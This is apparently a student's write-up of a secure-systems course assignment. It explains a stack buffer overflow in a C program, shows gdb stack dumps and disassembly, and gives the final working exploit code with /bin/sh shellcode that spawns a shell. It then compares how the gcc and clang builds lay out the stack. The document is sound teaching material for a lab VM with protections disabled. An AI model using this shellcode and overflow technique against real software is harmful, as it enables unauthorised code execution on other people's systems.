

Secure Systems Engineering (CS6570)

Assignment-1

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1. Working of the Shell.c code:


The function of the given code file **shell.c** basically is an attacker trying to spawn a shell using a buffer overflow exploit so that he can. We can observe in the code file that a shellcode array has been provided which represents the machine code of the corresponding shell spawn program which is written in assembly and compiled to obtain the machine code for the program.

Now we have a character array "buffer" of 48 Bytes defined (on the stack), along with there is a character array "large_string" of 128 Bytes. From this we find a potential buffer overflow location at the last command at where string is being copied from "large_string" to "buffer" byte by byte until null termination is encountered. The shellcode array provided is stored in the first part of the "large_string" array then we compute the buffer address and fill the rest of the "large_string" with the buffer address.

Now, after the copying is done from "large_string" to "buffer" until null termination, the "strcpy" function returns, which results in the exploit code execution. As the buffer address that has been overflowed in the stack, the return address points to the buffer address where it points to the shell code which is why it is being executed.

2. Output and changes in the code:

Firstly, when the given code **shell.c** is compiled and its executable is executed provided by MakeFile, while executing its executable obtained from compiling it gives segmentation fault, which means it is accessing memory location it does not have permission to access. When examining the program stack we find that at the end of the "strcpy" function the stack returns to an address which is not valid which we can see in the below image to address of 0x000000f2.



```
sse@sse_vm: ~/Desktop/Secure Systems
sse@sse_vm:~/Desktop/Secure Systems$ make
rm -f shell
gcc -w -m32 -g -fno-stack-protector -z execstack -O0 shell.c -o shell
sse@sse_vm:~/Desktop/Secure Systems$ ./shell
segmentation fault (core dumped)
```

Now the above error fix will be discussed below, but the reason it occurs is due to frame, stack and register pointer shifting before returning by 4 Bytes. Below is the assembly code of the main function disassembled:

```
--Type <return> to continue, or q <return> to quit--
0x080484b0 <+117>:  mov    %eax,%edx
0x080484b2 <+119>:  mov    -0xc(%ebp),%eax
0x080484b5 <+122>:  cmp    %eax,%edx
0x080484b7 <+124>:  ja     0x8048486 <main+75>
0x080484b9 <+126>:  sub    $0x8,%esp
0x080484bc <+129>:  push   $0x804a0a0
0x080484c1 <+134>:  lea    -0x40(%ebp),%eax
0x080484c4 <+137>:  push   %eax
0x080484c5 <+138>:  call   0x8048300 <strcpy@plt>
0x080484ca <+143>:  add    $0x10,%esp
0x080484cd <+146>:  nop
0x080484ce <+147>:  mov    -0x4(%ebp),%ecx ←
0x080484d1 <+150>:  leave  ←
0x080484d2 <+151>:  lea    -0x4(%ecx),%esp ←
0x080484d5 <+154>:  ret

End of assembler dump.
(gdb) █
```

```
sse@sse_vm: ~/Desktop/Secure Systems
19      }
(gdb) disas main
Dump of assembler code for function main:
0x0804843b <+0>:  lea    0x4(%esp),%ecx
0x0804843f <+4>:  and    $0xffffffff0,%esp
0x08048442 <+7>:  pushl  -0x4(%ecx) ←
0x08048445 <+10>:  push   %ebp
0x08048446 <+11>:  mov    %esp,%ebp
0x08048448 <+13>:  push   %ecx
0x08048449 <+14>:  sub    $0x4,%esp
```

In the above Images we can see on offset of +147 , 4 Bytes if increased in ebp before moving it to register ecx and in return ecx register 4 Bytes are reduced before moving it to the stack pointer , where the stack pointer points , as shown below at 0x0000002f.

```
(gdb) x/32x $esp
0xffffcf94:  0x0000002f  0x315e18eb  0x087689c0  0x89074688
0xffffcfa4:  0x0bb00c46  0x4e8df389  0x0c568d08  0xe3e880cd
0xffffcfb4:  0x2fffffff  0x2f6e6962  0x20206873  0x20202020
0xffffcfc4:  0xffff2020  0xffffcf98  0xffffcf98  0xffffcf98
0xffffcfd4:  0xffffcf98  0xffffcf98  0xffffcf98  0xffffcf98
0xffffcfe4:  0xffffcf98  0xffffcf98  0xffffcf98  0xffffcf98
0xffffcff4:  0xffffcf98  0xffffcf98  0xffffcf98  0xffffcf98
0xffffd004:  0xffffcf98  0xffffcf98  0xffffcf98  0xffffcf98
(gdb)
```

Now to fix this, we observe in the stack the next address in the stack is the starting instruction of the shellcode which the stack pointer (esp) needs to point to. For this fix we simply just shift buffer address by 4 Bytes each so that the stack pointer points to the starting of the shellcode.

```
for(i=0; i < 32; ++i) // 128/4 = 32
    long_ptr[i] = (int) buffer+4;
```


After resolving this, another problem that occurs is that the stack pointer pointing to the starting of the shellcode fed in the stack, regards the machine code of the exploit code as address, which is present in the stack, and returns it to address which again is invalid / does not have permission to access in this

```
(gdb) x/32x $esp
0xffffcf98: 0x315e18eb 0x087689c0 0x89074688 0x0bb00c46
0xffffcfa8: 0x4e8df389 0x0c568d08 0xe3e880cd 0x2fffffff
0xffffcfb8: 0x2f6e6962 0x20206873 0x20202020 0xffff2020
0xffffcfc8: 0xffffcf9c 0xffffcf9c 0xffffcf9c 0xffffcf9c
0xffffcfd8: 0xffffcf9c 0xffffcf9c 0xffffcf9c 0xffffcf9c
0xffffcfe8: 0xffffcf9c 0xffffcf9c 0xffffcf9c 0xffffcf9c
0xffffcff8: 0xffffcf9c 0xffffcf9c 0xffffcf9c 0xffffcf9c
0xfffffd08: 0xffffcf9c 0xffffcf9c 0xffffcf9c 0xffffcf9c
(gdb)
```

case 0x315e18eb.

A simple fix for this is , when copying the shellcode to the "large_string" shift the copying by 4 Bytes again , thus by doing this we are pointing the stack pointer to an address , which points to the starting of the shellcode, which then executes the shellcode as an instruction rather than an address to return to , hence resulting in a new shell creation in which we can use it in the computer of the user running the program and hence completing the exploitation successfully.

```
for(i=0; i < strlen(shellcode); i++){
    large_string[i+4] = shellcode[i];
}
```



3. Final Code and Running Shell

```
// without zeros
char shellcode[] = "\xeb\x18\x5e\x31\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
    char buffer[48];
    int i;
    long *long_ptr = (long *) large_string;

    for(i=0; i < 32; ++i) // 128/4 = 32
        long_ptr[i] = (int) buffer+4;

    for(i=0; i < strlen(shellcode); i++){
        large_string[i+4] = shellcode[i];
    }
    strcpy(buffer, large_string);
}
```

In the above code snippet we can see that just the changes in 2 lines respectively , while adding the buffer address to the large string array , which is to fix the overflow created at the first place , and adding the shellcode to the large string but with an address offset of 4 places , which is to fix the error of the stack taking the shellcode instruction as address rather than executing it as a code , these minimal changes finally reflect the executable running a new shell , just after executing the program.

```
sse@sse_vm: ~/Desktop/Secure Systems
sse@sse_vm:~/Desktop/Secure Systems$ make
rm -f shell
gcc -w -m32 -g -fno-stack-protector -z execstack -00 shell.c -o shell
sse@sse_vm:~/Desktop/Secure Systems$ ./shell
$ ls
CS6570_Assignment-1.pdf      shell      tutorial2Exploit.c
Makefile                    shell.c    x64_cheatsheet.pdf
cs6570_assignment_1_password_1234  shell.lst
cs6570_assignment_1_password_1234.zip  shell_clang
$ exit
sse@sse_vm:~/Desktop/Secure Systems$
```

Above is the shell.c code file compiled and executing (Provided MakeFile) , where we can see the executable of the shell invokes a new shell in which we access the users files and directories , hence exploit using binary files by buffer overflowing.

When we run the shell_clang binary file to see what the example running code should output we see that it is matching the output of the shell.c output.

```
sse@sse_vm: ~/Desktop/Secure Systems
sse@sse_vm:~/Desktop/Secure Systems$ ./shell_clang
$ ls
CS6570_Assignment-1.pdf      shell      tutorial2Exploit.c
Makefile                    shell.c    x64_cheatsheet.pdf
cs6570_assignment_1_password_1234  shell.lst
cs6570_assignment_1_password_1234.zip  shell_clang
$
```


4 & 5. Shell and Shell clang binary files review and why shell compiles with clang.

```
(gdb) disas main
Dump of assembler code for function main:
0x08048440 <+0>: push    %ebp
0x08048441 <+1>: mov     %esp,%ebp
0x08048443 <+3>: sub     $0x48,%esp
0x08048446 <+6>: lea     0x804a050,%eax
=> 0x0804844c <+12>: mov     %eax,-0x38(%ebp)
0x0804844f <+15>: movl    $0x0,-0x34(%ebp)
0x08048456 <+22>: cmpl    $0x20,-0x34(%ebp)
0x0804845a <+26>: jge     0x804847a <main+58>
0x08048460 <+32>: lea     -0x30(%ebp),%eax
0x08048463 <+35>: mov     -0x34(%ebp),%ecx
0x08048466 <+38>: mov     -0x38(%ebp),%edx
0x08048469 <+41>: mov     %eax,(%edx,%ecx,4)
0x0804846c <+44>: mov     -0x34(%ebp),%eax
0x0804846f <+47>: add     $0x1,%eax
0x08048472 <+50>: mov     %eax,-0x34(%ebp)
0x08048475 <+53>: jmp     0x8048456 <main+22>
0x0804847a <+58>: movl    $0x0,-0x34(%ebp)
0x08048481 <+65>: mov     -0x34(%ebp),%eax
0x08048484 <+68>: mov     %esp,%ecx
0x08048486 <+70>: movl    $0x804a020,(%ecx)
0x0804848c <+76>: mov     %eax,-0x3c(%ebp)
0x0804848f <+79>: call    0x8048310 <strlen@plt>
0x08048494 <+84>: mov     -0x3c(%ebp),%ecx
0x08048497 <+87>: cmp     %eax,%ecx
0x08048499 <+89>: jae     0x80484c1 <main+129>
0x0804849f <+95>: mov     -0x34(%ebp),%eax
0x080484a2 <+98>: mov     0x804a020(,%eax,1),%cl
0x080484a9 <+105>: mov     -0x34(%ebp),%eax
0x080484ac <+108>: mov     %cl,0x804a050(,%eax,1)
0x080484b3 <+115>: mov     -0x34(%ebp),%eax
0x080484b6 <+118>: add     $0x1,%eax
0x080484b9 <+121>: mov     %eax,-0x34(%ebp)
0x080484bc <+124>: jmp     0x8048481 <main+65>
0x080484c1 <+129>: lea     -0x30(%ebp),%eax
0x080484c4 <+132>: mov     %esp,%ecx
0x080484c6 <+134>: mov     %eax,(%ecx)
--Type <return> to continue, or q <return> to quit--
0x080484c8 <+136>: movl    $0x804a050,0x4(%ecx)
0x080484cf <+143>: call    0x8048300 <strcpy@plt>
0x080484d4 <+148>: mov     %eax,-0x40(%ebp)
0x080484d7 <+151>: add     $0x48,%esp
0x080484da <+154>: pop     %ebp
0x080484db <+155>: ret
End of assembler dump.
```

Main disas of "shell_clang" binary file

```
(gdb) disas main
Dump of assembler code for function main:
0x0804843b <+0>: lea     0x4(%esp),%ecx
0x0804843f <+4>: and     $0xffffffff0,%esp
0x08048442 <+7>: pushl   -0x4(%ecx)
0x08048445 <+10>: push    %ebp
0x08048446 <+11>: mov     %esp,%ebp
0x08048448 <+13>: push    %ecx
0x08048449 <+14>: sub     $0x44,%esp
=> 0x0804844c <+17>: movl    $0x804a0a0,-0x10(%ebp)
0x08048453 <+24>: movl    $0x0,-0xc(%ebp)
0x0804845a <+31>: jmp     0x8048477 <main+60>
0x0804845c <+33>: mov     -0xc(%ebp),%eax
0x0804845f <+36>: lea     0x0(,%eax,4),%edx
0x08048466 <+43>: mov     -0x10(%ebp),%eax
0x08048469 <+46>: add     %edx,%eax
0x0804846b <+48>: lea     -0x40(%ebp),%edx
0x0804846e <+51>: add     $0x4,%edx
0x08048471 <+54>: mov     %edx,(%eax)
0x08048473 <+56>: addl    $0x1,-0xc(%ebp)
0x08048477 <+60>: cmpl    $0x1f,-0xc(%ebp)
0x0804847b <+64>: jle     0x804845c <main+33>
0x0804847d <+66>: movl    $0x0,-0xc(%ebp)
0x08048484 <+73>: jmp     0x80484a1 <main+102>
0x08048486 <+75>: mov     -0xc(%ebp),%eax
0x08048489 <+78>: lea     0x4(%eax),%edx
0x0804848c <+81>: mov     -0xc(%ebp),%eax
0x0804848f <+84>: add     $0x804a040,%eax
0x08048494 <+89>: movzbl  (%eax),%eax
0x08048497 <+92>: mov     %al,0x804a0a0(%edx)
0x0804849d <+98>: addl    $0x1,-0xc(%ebp)
0x080484a1 <+102>: sub     $0xc,%esp
0x080484a4 <+105>: push    $0x804a040
0x080484a9 <+110>: call    0x8048310 <strlen@plt>
0x080484ae <+115>: add     $0x10,%esp
0x080484b1 <+118>: mov     %eax,%edx
0x080484b3 <+120>: mov     -0xc(%ebp),%eax
0x080484b6 <+123>: cmp     %eax,%edx
--Type <return> to continue, or q <return> to quit--
0x080484b8 <+125>: ja      0x8048486 <main+75>
0x080484ba <+127>: sub     $0x8,%esp
0x080484bd <+130>: push    $0x804a0a0
0x080484c2 <+135>: lea     -0x40(%ebp),%eax
0x080484c5 <+138>: push    %eax
0x080484c6 <+139>: call    0x8048300 <strcpy@plt>
0x080484cb <+144>: add     $0x10,%esp
0x080484ce <+147>: nop
0x080484cf <+148>: mov     -0x4(%ebp),%ecx
0x080484d2 <+151>: leave
0x080484d3 <+152>: lea     -0x4(%ecx),%esp
0x080484d6 <+155>: ret
End of assembler dump.
```

Main disas of "shell" binary file

Above is the disassembly of main function of the **shell_clang** binary file, here we can see that compared to the disassembly of the **shell** binary file, there is quite a difference between them two. Firstly, we can see that the way stack has been used is particularly different as initialization of pointers of stack and frame pointers in the starting is quite different although serving the purpose.

Similarly, before returning at the last line of the code, we can see how the stack and frame pointers are handled differently in **shell_clang** compared to **shell** binary file. This could probably be due to the reason of different compilers used, on how it is dealing with the manipulation or assignment of pointers possibly.

The disassembly of the two binary files side by side are very distinguishable and can be apparent that the two binary files differ quite extensively. This major reason could be the compilers, since **shell_clang** was compiled using clang compiler whereas shell was with using **gcc**, this makes a noticeable difference in how the compiler executes a program, since even with the instructions to execute are different in number and in usage of pointers and register.

Another main question we encounter is that, how is that our **shell.c** binary file **shell** executes the first time itself without any segmentation fault or core dump error using **clang** compiler compared to **gcc** compiler thus creating a shell? The answer lies in the compiler used, since we previously had used **gcc** to compile **shell.c**, using **clang** runs the program differently as it is a different compiler the way it interacts with the stack and its corresponding registers is different, in which it executes the first time without any fault.

We can have a glance at the assembly code of the same program run first using **clang** and then using **gcc**, in the previous page, where we can see the difference in the amount of instructions carried out in the assembly code and besides that, how in both compilers the stack register pointers and declared differently but applicable for the program purpose as it is, and ultimately before returning the stack pointer we can observe the same program in **clang** increases the stack pointer **0x48** adequately and pops the frame pointer returning the exact stack pointer to the shellcode whereas in the **gcc** compiled binary file we can see the frame pointer is moved up by 4 bytes stored in another register and that register is again moved up by 4 bytes which then is pointed by the stack pointer in this case.

Concluding, the working of the two different assembly code, of the same program, explained as above is due to the fact of the working of two different compilers functioning differently with respect to each other, in this case **gcc** and **clang**.